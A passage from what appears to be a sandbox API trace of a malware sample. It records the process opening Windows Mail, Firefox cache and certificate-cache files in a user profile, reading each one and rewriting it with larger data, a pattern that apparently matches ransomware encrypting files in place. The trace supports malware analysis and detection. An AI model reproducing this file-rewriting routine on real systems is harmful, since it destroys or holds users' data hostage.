lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.091] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x206000 [0050.091] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.091] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.093] ReleaseMutex (hMutex=0x128) returned 1 [0050.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMail.MSMessageStore", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0050.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMail.MSMessageStore", cchWideChar=26, lpMultiByteStr=0x1e7faec, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMail.MSMessageStore", lpUsedDefaultChar=0x0) returned 26 [0050.094] ReadFile (in: hFile=0x170, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2f4f278*=0xf000, lpOverlapped=0x0) returned 1 [0050.101] ReadFile (in: hFile=0x170, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2f4f278*=0xf000, lpOverlapped=0x0) returned 1 [0050.103] ReadFile (in: hFile=0x170, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x2f4f278*=0x2000, lpOverlapped=0x0) returned 1 [0050.106] SetFilePointer (in: hFile=0x170, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x204000 [0050.106] ReadFile (in: hFile=0x170, lpBuffer=0x276b558, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276b558*, lpNumberOfBytesRead=0x2f4f278*=0x2000, lpOverlapped=0x0) returned 1 [0050.111] SetFilePointer (in: hFile=0x170, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x204000 [0050.111] WriteFile (in: hFile=0x170, lpBuffer=0x276b358*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesWritten=0x2f4f28c*=0x2588, lpOverlapped=0x0) returned 1 [0050.112] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0050.112] WriteFile (in: hFile=0x170, lpBuffer=0x3a18498*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesWritten=0x2f4f28c*=0xf000, lpOverlapped=0x0) returned 1 [0050.113] WriteFile (in: hFile=0x170, lpBuffer=0x3a18498*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesWritten=0x2f4f28c*=0xf000, lpOverlapped=0x0) returned 1 [0050.113] WriteFile (in: hFile=0x170, lpBuffer=0x3a18498*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesWritten=0x2f4f28c*=0x2000, lpOverlapped=0x0) returned 1 [0050.113] CloseHandle (hObject=0x170) returned 1 [0050.113] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.115] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.115] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xed [0050.115] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.115] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.115] ReleaseMutex (hMutex=0x128) returned 1 [0050.115] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Orange Circles.htm", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0050.115] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Orange Circles.htm", cchWideChar=18, lpMultiByteStr=0x1e78974, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Orange Circles.htm", lpUsedDefaultChar=0x0) returned 18 [0050.115] ReadFile (in: hFile=0x170, lpBuffer=0x2737b58, nNumberOfBytesToRead=0xed, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737b58*, lpNumberOfBytesRead=0x2f4f2bc*=0xed, lpOverlapped=0x0) returned 1 [0050.116] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0050.116] WriteFile (in: hFile=0x170, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x675, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2f4f2d0*=0x675, lpOverlapped=0x0) returned 1 [0050.116] CloseHandle (hObject=0x170) returned 1 [0050.116] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\0b\\fcbf5d01"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.132] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.132] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x204fd [0050.132] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.132] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.132] ReleaseMutex (hMutex=0x128) returned 1 [0050.132] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="FCBF5d01", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0050.132] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="FCBF5d01", cchWideChar=8, lpMultiByteStr=0x1e6334c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FCBF5d01", lpUsedDefaultChar=0x0) returned 8 [0050.132] ReadFile (in: hFile=0x170, lpBuffer=0x1de8de8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesRead=0x2f4f278*=0x8000, lpOverlapped=0x0) returned 1 [0050.134] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1f4fd [0050.134] ReadFile (in: hFile=0x170, lpBuffer=0x276b358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.134] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1f4fd [0050.135] WriteFile (in: hFile=0x170, lpBuffer=0x276b358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0050.135] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0050.135] WriteFile (in: hFile=0x170, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2f4f28c*=0x8000, lpOverlapped=0x0) returned 1 [0050.135] CloseHandle (hObject=0x170) returned 1 [0050.135] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\885EEd01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\e\\69\\885eed01"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.136] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.136] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x10d22 [0050.136] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.136] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.136] ReleaseMutex (hMutex=0x128) returned 1 [0050.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="885EEd01", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0050.136] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="885EEd01", cchWideChar=8, lpMultiByteStr=0x1e6340c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="885EEd01", lpUsedDefaultChar=0x0) returned 8 [0050.136] ReadFile (in: hFile=0x170, lpBuffer=0x1da95d8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0050.138] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xfd22 [0050.138] ReadFile (in: hFile=0x170, lpBuffer=0x276b358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.139] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xfd22 [0050.139] WriteFile (in: hFile=0x170, lpBuffer=0x1deee48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deee48*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0050.139] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0050.139] WriteFile (in: hFile=0x170, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0050.140] CloseHandle (hObject=0x170) returned 1 [0050.140] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.cache" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.cache"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.141] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.141] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x2c [0050.141] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.141] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.141] ReleaseMutex (hMutex=0x128) returned 1 [0050.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="test-phish-simple.cache", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0050.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="test-phish-simple.cache", cchWideChar=23, lpMultiByteStr=0x1e78bcc, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="test-phish-simple.cache", lpUsedDefaultChar=0x0) returned 23 [0050.141] ReadFile (in: hFile=0x170, lpBuffer=0x1eb2240, nNumberOfBytesToRead=0x2c, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eb2240*, lpNumberOfBytesRead=0x2f4f2bc*=0x2c, lpOverlapped=0x0) returned 1 [0050.142] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0050.142] WriteFile (in: hFile=0x170, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5b4, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2f4f2d0*=0x5b4, lpOverlapped=0x0) returned 1 [0050.142] CloseHandle (hObject=0x170) returned 1 [0050.142] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\024823b39fbeaccdb5c06426a8168e99_6d5cab161a1c65362a913d29be09d91b"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.143] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.143] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1d7 [0050.143] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.143] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.143] ReleaseMutex (hMutex=0x128) returned 1 [0050.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0050.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", cchWideChar=65, lpMultiByteStr=0x1e9569c, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpUsedDefaultChar=0x0) returned 65 [0050.143] ReadFile (in: hFile=0x170, lpBuffer=0x1e4cf28, nNumberOfBytesToRead=0x1d7, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e4cf28*, lpNumberOfBytesRead=0x2f4f2bc*=0x1d7, lpOverlapped=0x0) returned 1 [0050.144] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0050.144] WriteFile (in: hFile=0x170, lpBuffer=0x2613698*, nNumberOfBytesToWrite=0x75f, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2613698*, lpNumberOfBytesWritten=0x2f4f2d0*=0x75f, lpOverlapped=0x0) returned 1 [0050.144] CloseHandle (hObject=0x170) returned 1 [0050.144] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\5080dc7a65db6a5960ecd874088f3328_2908f682dfc81a793bd240cf29711c77"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.145] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.145] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x2d7 [0050.145] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.145] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.145] ReleaseMutex (hMutex=0x128) returned 1 [0050.145] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0050.145] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", cchWideChar=65, lpMultiByteStr=0x1e9569c, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", lpUsedDefaultChar=0x0) returned 65 [0050.145] ReadFile (in: hFile=0x170, lpBuffer=0x275b028, nNumberOfBytesToRead=0x2d7, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x275b028*, lpNumberOfBytesRead=0x2f4f2bc*=0x2d7, lpOverlapped=0x0) returned 1 [0050.147] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0050.147] WriteFile (in: hFile=0x170, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x85f, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2f4f2d0*=0x85f, lpOverlapped=0x0) returned 1 [0050.147] CloseHandle (hObject=0x170) returned 1 [0050.147] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\7d266d9e1e69fa1eefb9699b009b34c8_1d5a876a9113ec07224c45e5a870e3bd"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.147] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.148] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x6e3 [0050.148] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.148] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.148] ReleaseMutex (hMutex=0x128) returned 1 [0050.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0050.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", cchWideChar=65, lpMultiByteStr=0x1e9569c, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", lpUsedDefaultChar=0x0) returned 65 [0050.148] ReadFile (in: hFile=0x170, lpBuffer=0x261fa88, nNumberOfBytesToRead=0x6e3, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesRead=0x2f4f2bc*=0x6e3, lpOverlapped=0x0) returned 1 [0050.149] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0050.149] WriteFile (in: hFile=0x170, lpBuffer=0x276b358*, nNumberOfBytesToWrite=0xc6b, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesWritten=0x2f4f2d0*=0xc6b, lpOverlapped=0x0) returned 1 [0050.149] CloseHandle (hObject=0x170) returned 1 [0050.149] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_f6e15778dc8e326895c606fbfa0392eb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.150] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.150] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1cf [0050.150] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0050.150] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.150] ReleaseMutex (hMutex=0x128) returned 1 [0050.150] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0050.151] WideCharToMultiByte 